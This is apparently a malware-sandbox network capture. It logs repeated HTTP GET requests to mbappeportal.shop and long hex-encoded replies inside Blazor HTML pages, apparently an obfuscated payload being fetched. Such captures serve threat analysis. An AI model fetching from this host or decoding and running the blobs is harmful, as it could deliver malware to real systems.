                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213133097 CET1286INData Raw: 43 31 44 44 30 44 33 42 37 34 36 36 45 32 35 33 45 32 31 36 44 43 42 46 43 30 35 35 44 32 32 38 46 35 36 45 35 38 43 46 32 32 37 38 39 34 31 35 45 43 46 37 44 41 46 31 31 46 43 34 37 44 32 32 44 30 45 44 31 44 39 43 37 36 43 37 39 35 39 37 37 32
                                                                                                                                                                                                                                                              Data Ascii: C1DD0D3B7466E253E216DCBFC055D228F56E58CF22789415ECF7DAF11FC47D22D0ED1D9C76C7959772BED87D61B5B7B7454CD03D83981393AC40FA225E235DAC70ED1D7975C78273129E280D40C5908D67EE707E628826A78C40F8D25D635A2830CF9D8BD6E510E7429EFF8B505590CFE5BCF0AF10F8E4273EF
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213186979 CET1286INData Raw: 45 43 39 36 45 37 41 32 30 33 43 33 44 39 30 46 36 46 43 30 35 35 44 30 41 46 45 32 39 42 46 30 35 46 32 32 33 38 31 34 36 30 45 42 32 30 46 41 36 30 42 46 45 33 32 44 43 46 42 30 45 44 31 44 37 42 46 37 38 30 37 35 43 33 45 32 42 45 39 38 31 46
                                                                                                                                                                                                                                                              Data Ascii: EC96E7A203C3D90F6FC055D0AFE29BF05F22381460EB20FA60BFE32DCFB0ED1D7BF78075C3E2BE981F2012471FD54C92FEC25F83173C40B8C11FE4CD58C0ED5F9A36C01513E2BE9A9E207227EFD54C92FEC25F83573C40B8C11FE4CD98C0ED5F9A36C015D3E2BE9A9A2062C29FD54CF28F031A94070612EA60F
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213201046 CET1286INData Raw: 39 32 35 33 45 32 31 43 37 42 39 46 45 30 41 35 38 37 33 36 38 35 34 43 44 30 31 38 46 42 32 38 33 34 32 37 37 45 45 32 31 41 34 30 43 45 33 33 38 46 45 46 31 39 42 44 31 44 33 42 39 34 34 32 34 32 36 34 35 42 45 45 44 38 33 46 38 30 41 35 38 37
                                                                                                                                                                                                                                                              Data Ascii: 9253E21C7B9FE0A58736854CD018FB2834277EE21A40CE338FEF19BD1D3B944242645BEED83F80A58736854CD019225F8D773C40B580ED615BE837DC5D2BD6850162929F29CA3672A1CFC54CB2FDC25F8D773C40BC810D0558BA20CCEFFD9E609303F2BEBA9A207229DFD54C96BE5249C5D2CA665F91996C9A0
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213213921 CET1286INData Raw: 33 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33 44 43 32 37 38 46 30 45 46 43 33 31 38 42 42 32 37 31 34 37 44 33 42 44 36 41 37 35 32 35 44 45 33 31 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35
                                                                                                                                                                                                                                                              Data Ascii: 3C5AAFD055F22C32B5B05F2238C4393DC278F0EFC318BB27147D3BD6A7525DE31C5AAFD055F22C32B5B05F2238C4393DE278F0EFC318BB27147D3BD6A7525DE35C5AAFD055F22C32B5B05F2238C4393DA278F0EFC318BC27147D3BD6A7525DE033182FC0F7121FC54CB2FBC58154273C000A7EFD4EAA08C04F9
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213226080 CET1286INData Raw: 44 30 35 35 46 38 38 35 41 35 34 43 44 30 31 45 34 34 44 30 33 45 41 37 33 43 34 30 42 38 43 33 35 46 45 31 46 35 35 38 44 30 45 44 42 44 31 42 45 31 33 38 46 32 35 33 45 32 31 43 37 45 44 46 46 36 41 39 36 30 41 46 44 35 32 43 46 37 45 30 37 32
                                                                                                                                                                                                                                                              Data Ascii: D055F885A54CD01E44D03EA73C40B8C35FE1F558D0EDBD1BE138F253E21C7EDFF6A960AFD52CF7E0726834870C00AC901FE37A78F6101D1BD68505A3C031B82FC0F5B0BD5FCCD05F85A744373CE0DA5270436A1867328D2BD64505A3C031382FC0F5B0B8687CD05F65A7C4373CE0DA5742837A18873D1D1BD64
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213239908 CET1286INData Raw: 38 46 44 35 30 42 39 35 43 46 32 32 37 39 38 33 46 36 46 43 36 30 46 41 43 30 44 32 43 35 41 41 31 38 43 31 35 46 39 41 43 42 44 36 45 37 30 32 37 34 35 46 38 45 44 38 33 46 38 32 44 38 32 30 39 46 44 35 32 42 39 36 38 46 32 32 37 39 38 33 46 36
                                                                                                                                                                                                                                                              Data Ascii: 8FD50B95CF227983F6FC60FAC0D2C5AA18C15F9ACBD6E702745F8ED83F82D8209FD52B968F227983F6EC60FAC25C235A58F0BF964BC6E7C0C912AED85D63B5B0CFE51E5BDF327856ADCC50FA025E235DA440ED1D79770785FF42BED87D61B5B733654CD01D8398139BFC40FA225E235DA450ED1D79704780935
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:29.213871956 CET1286INData Raw: 44 30 35 46 36 30 44 41 31 34 30 37 30 42 39 46 44 41 36 30 46 46 38 31 44 42 46 38 45 37 35 32 31 44 33 42 44 36 41 35 30 30 36 33 43 32 38 39 30 37 33 46 43 30 35 35 44 32 32 45 33 35 36 42 36 46 34 46 32 32 37 38 37 36 38 35 31 43 36 30 43 44
                                                                                                                                                                                                                                                              Data Ascii: D05F60DA14070B9FDA60FF81DBF8E7521D3BD6A50063C289073FC055D22E356B6F4F227876851C60CDBFEFC37A5A610D3A84E6E7A201409EF8081F65908F97ED30789D3834277EE2DA40C81C3A18C0AFB85BF7B07D43E2BE981E978A808FD50CF2DE127834859DA0D8E86FC37ABA6FCD3C6C0997A243A29F8FE


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              58192.168.2.549820104.21.25.14280
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.070350885 CET90OUTGET /get/65c4e505302872e0f3bbb578 HTTP/1.1
                                                                                                                                                                                                                                                              Host: mbappeportal.shop
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439316034 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:40 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Cache-Control: no-cache, no-store, max-age=0
                                                                                                                                                                                                                                                              X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qRxb62h3wvmm%2FMmTiuWOHZR9PAByBtrv7PWWQpDUaQwYi%2FCMwNQw7hJcAOWcpwm2wby3KmMgsVgNe5LRM76oOz7S7J6JozMuWJLGE7mEWq%2BviQr6dXIjR8Cv2BxzSMYl1iHe4w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263844cb0f6760-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              Data Raw: 33 37 32 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 20 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 20 2f 3e 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 42 6c 61 7a 6f 72 3a 7b 22 73 65 71 75 65 6e 63 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 73 65 72 76 65 72 22 2c 22 70 72 65 72 65 6e 64 65 72 49 64 22 3a 22 35 38 31 30 35 65 36 30 32 38 34 39 34 31 66 34 38 65 63 38 32 31 62 63 30 66 38 34 30 65 34 33 22 2c 22 64 65 73 63 72 69 70 74 6f 72 22 3a 22 43 66 44 4a 38 46 33 35 6c 37 51 35 31 31 35 48 72 4b 61 55 72 61 76 6d 74 6f 74 6b 52 30 37 31 36 6d 6a 64 7a 62 31 6f 50 47 32 44 76 66 2f 78 61 56 70 2f 6e 33 72 7a 48 62 73 39 38 78 63 73 37 45 2f 68 2f 6d 65 5a 2f 5a 48 64 73 61 63 5c 75 30 30 32 42 65 50 77 50 68 45 33 39 6b 6b 39 67 4a 55 79 48 35 67 78 52 65 64 4b 5c 75 30 30 32 42 76 63 49 48 41 38 54 5a 64 51 74 6a 63 39 62 6d 47 76 79 57 4b 4e 77 6b 33 6d 36 4b 4e 74 6d 74 54 62 62 46 79 72 73 61 49 51 4d 59 74 6f 47 73 2f 55 64 59 50 61 49 4f 71 34 33 35 77 61 62 66 6e 69 2f 63 46 42 4e 30 4d 44 43 57 68 51 7a 61 76 38 68 6e 70 4a 44 2f 77 48 6d 4c 39 45 56 78 5a 43 36 6b 45 30 50 4d 65 4d 54 48 31 35 6c 6d 52 69 53 54 44 39 78 65 71 56 62 77 69 66 6e 66 56 32 59 49 5a 43 4b 59 41 4c 49 4b 65 47 59 64 69 58 7a 64 52 6b 51 50 6a 30 72 77 53 4a 5c 75 30 30 32 42 33 2f 5a 31 38 67 31 7a 32 51 6e 6a 31 59 5c 75 30 30 32 42 38 6f 69 55 6b 71 2f 73 54 45 30 4c 2f 75 65 48 6c 73 36 69 55 75 70 55 64 35 71 4b 75 64 79 35 58 6d 42 39 75 64 62 51 30 66 65 30 67 58 72 2f 6c 64 5a 67 5c 75 30 30 32 42 36 36 2f 54 39 76 73 6b 69 2f 42 74 61 38 38 39 36 43 59 52 63 34 4e 66 73 39 6d 2f 6e 4e 51 51 51 38 66 71 6d 44 36 4b 36 34 33 68 74 44 36 71 6c 69 48 39 44 6f 4a 32 36 5a 41 4e 4e 49 76 4f 46 63
                                                                                                                                                                                                                                                              Data Ascii: 372d<!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8" /> <base href="/" /> ...Blazor:{"sequence":0,"type":"server","prerenderId":"58105e60284941f48ec821bc0f840e43","descriptor":"CfDJ8F35l7Q5115HrKaUravmtotkR0716mjdzb1oPG2Dvf/xaVp/n3rzHbs98xcs7E/h/meZ/ZHdsac\u002BePwPhE39kk9gJUyH5gxRedK\u002BvcIHA8TZdQtjc9bmGvyWKNwk3m6KNtmtTbbFyrsaIQMYtoGs/UdYPaIOq435wabfni/cFBN0MDCWhQzav8hnpJD/wHmL9EVxZC6kE0PMeMTH15lmRiSTD9xeqVbwifnfV2YIZCKYALIKeGYdiXzdRkQPj0rwSJ\u002B3/Z18g1z2Qnj1Y\u002B8oiUkq/sTE0L/ueHls6iUupUd5qKudy5XmB9udbQ0fe0gXr/ldZg\u002B66/T9vski/Bta8896CYRc4Nfs9m/nNQQQ8fqmD6K643htD6qliH9DoJ26ZANNIvOFc
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439337015 CET1286INData Raw: 51 42 2f 32 37 59 67 36 36 56 30 69 61 44 51 77 47 78 58 76 30 41 72 69 77 4b 6a 45 34 39 34 50 62 65 49 22 7d 2d 2d 3e 3c 74 69 74 6c 65 3e 36 35 63 34 65 35 30 35 33 30 32 38 37 32 65 30 66 33 62 62 62 35 37 38 3c 2f 74 69 74 6c 65 3e 3c 21 2d
                                                                                                                                                                                                                                                              Data Ascii: QB/27Yg66V0iaDQwGxXv0AriwKjE494PbeI"}--><title>65c4e505302872e0f3bbb578</title>...Blazor:{"prerenderId":"58105e60284941f48ec821bc0f840e43"}--></head><body> ...Blazor:{"sequence":1,"type":"server","prerenderId":"c4c1a77466cb4032af4ad
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439349890 CET1286INData Raw: 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44 35 34 43 44 43 35 46 41 32 37 38 46 34 32 37 33 43 34 30 46 41 36 30 46 46 43 33 37 41 31 38 43 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44
                                                                                                                                                                                                                                                              Data Ascii: 3E2BED83FC055908FD54CDC5FA278F4273C40FA60FFC37A18C0ED1D3BD6E7A243E2BED83FC055908FD54CD05F227834273C40FA60FFC37A18C0ED1D3BD6E7A243E2BEDA3FC055108FD54CD05F227834273C407860FFC7FA18C0ED1D3BD6E7A243E2BC3F7997D2D08FD54D37CFA27836273C40FDC07FC37A38C0
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439364910 CET1286INData Raw: 41 39 44 45 30 37 35 41 37 35 45 31 35 34 43 44 30 31 44 38 33 39 38 31 36 41 44 33 43 34 30 46 41 43 32 35 32 32 33 35 38 39 30 35 30 45 44 31 44 39 42 45 34 33 37 31 35 36 30 41 33 32 45 44 46 33 38 46 41 34 35 39 30 38 46 37 32 45 43 39 32 38
                                                                                                                                                                                                                                                              Data Ascii: A9DE075A75E154CD01D839816AD3C40FAC25223589050ED1D9BE4371560A32EDF38FA45908F72EC928F955EF5B73B47C070FFC3DDB8E2690D3BD687827430BED83F8015B20A854CD03D80581415B860FA609D6E5A39A73F2D3BD6A78063E2BED8381215908F956EF05F227833F56C40FA20DDE37A18C0EACF5B
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439438105 CET1286INData Raw: 35 44 32 32 38 46 35 36 45 35 38 43 46 32 32 37 38 39 34 31 35 45 43 46 37 44 41 46 31 31 46 43 34 37 44 32 32 44 30 45 44 31 44 39 43 37 36 43 37 39 35 39 37 37 32 42 45 44 38 37 44 36 31 42 35 42 37 42 37 34 35 34 43 44 30 33 44 38 33 39 38 31
                                                                                                                                                                                                                                                              Data Ascii: 5D228F56E58CF22789415ECF7DAF11FC47D22D0ED1D9C76C7959772BED87D61B5B7B7454CD03D83981393AC40FA225E235DAC70ED1D7975C78273129E280D40C5908D67EE707E628826A78C40F8D25D635A2830CF9D8BD6E510E7429EFF8B505590CFE5BCF0AF10F8E4273EF25900DFF33AE8F01D5FBB06E7A0
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439451933 CET1286INData Raw: 32 39 42 46 30 35 46 32 32 33 38 31 34 36 30 45 42 32 30 46 41 36 30 42 46 45 33 32 44 43 46 42 30 45 44 31 44 37 42 46 37 38 30 37 35 43 33 45 32 42 45 39 38 31 46 32 30 31 32 34 37 31 46 44 35 34 43 39 32 46 45 43 32 35 46 38 33 31 37 33 43 34
                                                                                                                                                                                                                                                              Data Ascii: 29BF05F22381460EB20FA60BFE32DCFB0ED1D7BF78075C3E2BE981F2012471FD54C92FEC25F83173C40B8C11FE4CD58C0ED5F9A36C01513E2BE9A9E207227EFD54C92FEC25F83573C40B8C11FE4CD98C0ED5F9A36C015D3E2BE9A9A2062C29FD54CF28F031A94070612EA60FFE1F7F8C0ED7F9776C01573E2BE
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439466000 CET1286INData Raw: 38 46 42 32 38 33 34 32 37 37 45 45 32 31 41 34 30 43 45 33 33 38 46 45 46 31 39 42 44 31 44 33 42 39 34 34 32 34 32 36 34 35 42 45 45 44 38 33 46 38 30 41 35 38 37 33 36 38 35 34 43 44 30 31 39 32 32 35 46 38 44 37 37 33 43 34 30 42 35 38 30 45
                                                                                                                                                                                                                                                              Data Ascii: 8FB2834277EE21A40CE338FEF19BD1D3B944242645BEED83F80A58736854CD019225F8D773C40B580ED615BE837DC5D2BD6850162929F29CA3672A1CFC54CB2FDC25F8D773C40BC810D0558BA20CCEFFD9E609303F2BEBA9A207229DFD54C96BE5249C5D2CA665F91996C9A09AF0D0F90F6A56303C0E9616FC0
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439480066 CET1286INData Raw: 34 33 39 33 44 43 32 37 38 46 30 45 46 43 33 31 38 42 42 32 37 31 34 37 44 33 42 44 36 41 37 35 32 35 44 45 33 31 43 35 41 41 46 44 30 35 35 46 32 32 43 33 32 42 35 42 30 35 46 32 32 33 38 43 34 33 39 33 44 45 32 37 38 46 30 45 46 43 33 31 38 42
                                                                                                                                                                                                                                                              Data Ascii: 4393DC278F0EFC318BB27147D3BD6A7525DE31C5AAFD055F22C32B5B05F2238C4393DE278F0EFC318BB27147D3BD6A7525DE35C5AAFD055F22C32B5B05F2238C4393DA278F0EFC318BC27147D3BD6A7525DE033182FC0F7121FC54CB2FBC58154273C000A7EFD4EAA08C04F9FABC6E7C0E00547B83FC0156091
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439492941 CET1286INData Raw: 30 42 38 43 33 35 46 45 31 46 35 35 38 44 30 45 44 42 44 31 42 45 31 33 38 46 32 35 33 45 32 31 43 37 45 44 46 46 36 41 39 36 30 41 46 44 35 32 43 46 37 45 30 37 32 36 38 33 34 38 37 30 43 30 30 41 43 39 30 31 46 45 33 37 41 37 38 46 36 31 30 31
                                                                                                                                                                                                                                                              Data Ascii: 0B8C35FE1F558D0EDBD1BE138F253E21C7EDFF6A960AFD52CF7E0726834870C00AC901FE37A78F6101D1BD68505A3C031B82FC0F5B0BD5FCCD05F85A744373CE0DA5270436A1867328D2BD64505A3C031382FC0F5B0B8687CD05F65A7C4373CE0DA5742837A18873D1D1BD6450523DA7F383FC1E751BFF2F320
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.439510107 CET1286INData Raw: 32 43 35 41 41 31 38 43 31 35 46 39 41 43 42 44 36 45 37 30 32 37 34 35 46 38 45 44 38 33 46 38 32 44 38 32 30 39 46 44 35 32 42 39 36 38 46 32 32 37 39 38 33 46 36 45 43 36 30 46 41 43 32 35 43 32 33 35 41 35 38 46 30 42 46 39 36 34 42 43 36 45
                                                                                                                                                                                                                                                              Data Ascii: 2C5AA18C15F9ACBD6E702745F8ED83F82D8209FD52B968F227983F6EC60FAC25C235A58F0BF964BC6E7C0C912AED85D63B5B0CFE51E5BDF327856ADCC50FA025E235DA440ED1D79770785FF42BED87D61B5B733654CD01D8398139BFC40FA225E235DA450ED1D797047809355903DEFC752AA9FD54C77FF048A
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:40.440133095 CET1286INData Raw: 38 45 37 35 32 31 44 33 42 44 36 41 35 30 30 36 33 43 32 38 39 30 37 33 46 43 30 35 35 44 32 32 45 33 35 36 42 36 46 34 46 32 32 37 38 37 36 38 35 31 43 36 30 43 44 42 46 45 46 43 33 37 41 35 41 36 31 30 44 33 41 38 34 45 36 45 37 41 32 30 31 34
                                                                                                                                                                                                                                                              Data Ascii: 8E7521D3BD6A50063C289073FC055D22E356B6F4F227876851C60CDBFEFC37A5A610D3A84E6E7A201409EF8081F65908F97ED30789D3834277EE2DA40C81C3A18C0AFB85BF7B07D43E2BE981E978A808FD50CF2DE127834859DA0D8E86FC37ABA6FCD3C6C0997A243A29F8FE0405590CFF7C4405F22D80565B4


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              59192.168.2.549822104.21.25.14280
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.525832891 CET90OUTGET /get/65c4e505302872e0f3bbb578 HTTP/1.1
                                                                                                                                                                                                                                                              Host: mbappeportal.shop
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886512995 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:43 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Cache-Control: no-cache, no-store, max-age=0
                                                                                                                                                                                                                                                              X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=isHRb%2BgWBG1gSexc5%2FrRN%2FpoNkH7KOdjvIIGY6ZH7kOQsi3HC8qS5RBenRwicXveMkalLsa%2B4wtwGn7cj0gUN%2FCp4OlqOSWdDxxYXWwaYnFt7j8XYBLmWiOL7oDiiU7NmatVbg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526385a5d4d06fa-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              Data Raw: 33 37 32 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 20 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 20 2f 3e 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 42 6c 61 7a 6f 72 3a 7b 22 73 65 71 75 65 6e 63 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 73 65 72 76 65 72 22 2c 22 70 72 65 72 65 6e 64 65 72 49 64 22 3a 22 36 31 34 34 61 30 39 36 30 64 31 33 34 63 37 32 39 39 65 31 35 38 34 61 66 64 38 39 38 61 63 37 22 2c 22 64 65 73 63 72 69 70 74 6f 72 22 3a 22 43 66 44 4a 38 46 33 35 6c 37 51 35 31 31 35 48 72 4b 61 55 72 61 76 6d 74 6f 74 56 45 6d 6e 35 63 62 65 51 64 30 7a 62 36 51 38 49 33 42 49 68 6d 53 6d 32 54 7a 30 69 63 56 50 34 70 5c 75 30 30 32 42 44 4b 33 71 74 75 76 6c 46 52 58 59 67 7a 54 6e 66 77 75 74 6a 30 4f 4f 5a 50 78 67 4e 5a 64 61 56 57 79 6e 44 4e 73 68 6d 33 45 37 4c 62 34 39 31 33 4b 53 6e 58 39 56 72 49 58 61 63 63 48 51 66 70 4e 79 67 72 39 35 65 39 6a 4a 73 76 6e 45 39 76 51 58 65 76 2f 58 78 6a 4f 6f 73 59 4a 4b 6e 63 50 36 5a 54 44 38 76 58 32 4a 6f 73 4d 4a 54 4b 77 64 66 74 4e 67 70 30 38 36 79 41 67 4f 4c 7a 72 72 36 74 64 51 56 47 69 51 45 71 37 2f 56 39 54 6d 69 73 32 75 71 57 38 58 4b 4e 6a 6b 64 54 38 72 59 34 4b 50 36 49 63 43 46 72 41 73 49 65 58 61 4d 58 5c 75 30 30 32 42 45 34 64 74 58 45 6c 45 30 71 4e 79 55 6a 36 6e 64 38 6f 73 72 52 4f 32 31 54 75 73 2f 63 56 68 31 68 45 53 46 36 39 42 61 6b 57 41 67 43 58 38 56 66 54 77 69 68 4e 36 4e 4e 59 41 4b 4e 43 63 62 43 77 5a 44 6f 68 6c 76 39 4b 53 75 41 58 74 74 79 65 30 4d 2f 75 39 56 35 41 61 48 4b 4b 4c 44 4d 79 4f 51 35 4b 62 54 42 33 31 36 56 46 48 4b 68 4a 41 64 51 36 31 5a 2f 47 6c 34 6d 57 56 57 79 73 73 63 50 76 44 62 58 4a 6f 70 77 4c 4e 58 5c 75 30 30 32 42 75 4d 65 36 57 46 32 72 39 32 4b 68
                                                                                                                                                                                                                                                              Data Ascii: 372d<!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8" /> <base href="/" /> ...Blazor:{"sequence":0,"type":"server","prerenderId":"6144a0960d134c7299e1584afd898ac7","descriptor":"CfDJ8F35l7Q5115HrKaUravmtotVEmn5cbeQd0zb6Q8I3BIhmSm2Tz0icVP4p\u002BDK3qtuvlFRXYgzTnfwutj0OOZPxgNZdaVWynDNshm3E7Lb4913KSnX9VrIXaccHQfpNygr95e9jJsvnE9vQXev/XxjOosYJKncP6ZTD8vX2JosMJTKwdftNgp086yAgOLzrr6tdQVGiQEq7/V9Tmis2uqW8XKNjkdT8rY4KP6IcCFrAsIeXaMX\u002BE4dtXElE0qNyUj6nd8osrRO21Tus/cVh1hESF69BakWAgCX8VfTwihN6NNYAKNCcbCwZDohlv9KSuAXttye0M/u9V5AaHKKLDMyOQ5KbTB316VFHKhJAdQ61Z/Gl4mWVWysscPvDbXJopwLNX\u002BuMe6WF2r92Kh
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886632919 CET1286INData Raw: 44 65 78 6f 48 64 74 50 6e 51 6b 37 61 37 70 6e 61 6e 54 4b 58 39 43 46 68 54 53 59 57 22 7d 2d 2d 3e 3c 74 69 74 6c 65 3e 36 35 63 34 65 35 30 35 33 30 32 38 37 32 65 30 66 33 62 62 62 35 37 38 3c 2f 74 69 74 6c 65 3e 3c 21 2d 2d 42 6c 61 7a 6f
                                                                                                                                                                                                                                                              Data Ascii: DexoHdtPnQk7a7pnanTKX9CFhTSYW"}--><title>65c4e505302872e0f3bbb578</title>...Blazor:{"prerenderId":"6144a0960d134c7299e1584afd898ac7"}--></head><body> ...Blazor:{"sequence":1,"type":"server","prerenderId":"07feb27bd1ce47d7860f48dda1b
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886647940 CET1286INData Raw: 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44 35 34 43 44 43 35 46 41 32 37 38 46 34 32 37 33 43 34 30 46 41 36 30 46 46 43 33 37 41 31 38 43 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42
                                                                                                                                                                                                                                                              Data Ascii: 0ED1D3BD6E7A243E2BED83FC055908FD54CDC5FA278F4273C40FA60FFC37A18C0ED1D3BD6E7A243E2BED83FC055908FD54CD05F227834273C40FA60FFC37A18C0ED1D3BD6E7A243E2BEDA3FC055108FD54CD05F227834273C407860FFC7FA18C0ED1D3BD6E7A243E2BC3F7997D2D08FD54D37CFA27836273C40
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886660099 CET1286INData Raw: 41 33 36 43 30 31 33 38 33 45 32 42 45 39 41 39 44 45 30 37 35 41 37 35 45 31 35 34 43 44 30 31 44 38 33 39 38 31 36 41 44 33 43 34 30 46 41 43 32 35 32 32 33 35 38 39 30 35 30 45 44 31 44 39 42 45 34 33 37 31 35 36 30 41 33 32 45 44 46 33 38 46
                                                                                                                                                                                                                                                              Data Ascii: A36C01383E2BE9A9DE075A75E154CD01D839816AD3C40FAC25223589050ED1D9BE4371560A32EDF38FA45908F72EC928F955EF5B73B47C070FFC3DDB8E2690D3BD687827430BED83F8015B20A854CD03D80581415B860FA609D6E5A39A73F2D3BD6A78063E2BED8381215908F956EF05F227833F56C40FA20DD
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886672974 CET1286INData Raw: 32 35 33 45 32 31 36 44 43 42 46 43 30 35 35 44 32 32 38 46 35 36 45 35 38 43 46 32 32 37 38 39 34 31 35 45 43 46 37 44 41 46 31 31 46 43 34 37 44 32 32 44 30 45 44 31 44 39 43 37 36 43 37 39 35 39 37 37 32 42 45 44 38 37 44 36 31 42 35 42 37 42
                                                                                                                                                                                                                                                              Data Ascii: 253E216DCBFC055D228F56E58CF22789415ECF7DAF11FC47D22D0ED1D9C76C7959772BED87D61B5B7B7454CD03D83981393AC40FA225E235DAC70ED1D7975C78273129E280D40C5908D67EE707E628826A78C40F8D25D635A2830CF9D8BD6E510E7429EFF8B505590CFE5BCF0AF10F8E4273EF25900DFF33AE8
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886706114 CET1286INData Raw: 39 30 46 36 46 43 30 35 35 44 30 41 46 45 32 39 42 46 30 35 46 32 32 33 38 31 34 36 30 45 42 32 30 46 41 36 30 42 46 45 33 32 44 43 46 42 30 45 44 31 44 37 42 46 37 38 30 37 35 43 33 45 32 42 45 39 38 31 46 32 30 31 32 34 37 31 46 44 35 34 43 39
                                                                                                                                                                                                                                                              Data Ascii: 90F6FC055D0AFE29BF05F22381460EB20FA60BFE32DCFB0ED1D7BF78075C3E2BE981F2012471FD54C92FEC25F83173C40B8C11FE4CD58C0ED5F9A36C01513E2BE9A9E207227EFD54C92FEC25F83573C40B8C11FE4CD98C0ED5F9A36C015D3E2BE9A9A2062C29FD54CF28F031A94070612EA60FFE1F7F8C0ED7F
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:43.886744976 CET1286INData Raw: 30 41 35 38 37 33 36 38 35 34 43 44 30 31 38 46 42 32 38 33 34 32 37 37 45 45 32 31 41 34 30 43 45 33 33 38 46 45 46 31 39 42 44 31 44 33 42 39 34 34 32 34 32 36 34 35 42 45 45 44 38 33 46 38 30 41 35 38 37 33 36 38 35 34 43 44 30 31 39 32 32 35
                                                                                                                                                                                                                                                              Data Ascii: 0A58736854CD018FB2834277EE21A40CE338FEF19BD1D3B944242645BEED83F80A58736854CD019225F8D773C40B580ED615BE837DC5D2BD6850162929F29CA3672A1CFC54CB2FDC25F8D773C40BC810D0558BA20CCEFFD9E609303F2BEBA9A207229DFD54C96BE5249C5D2CA665F91996C9A09AF0D0F90F6A5
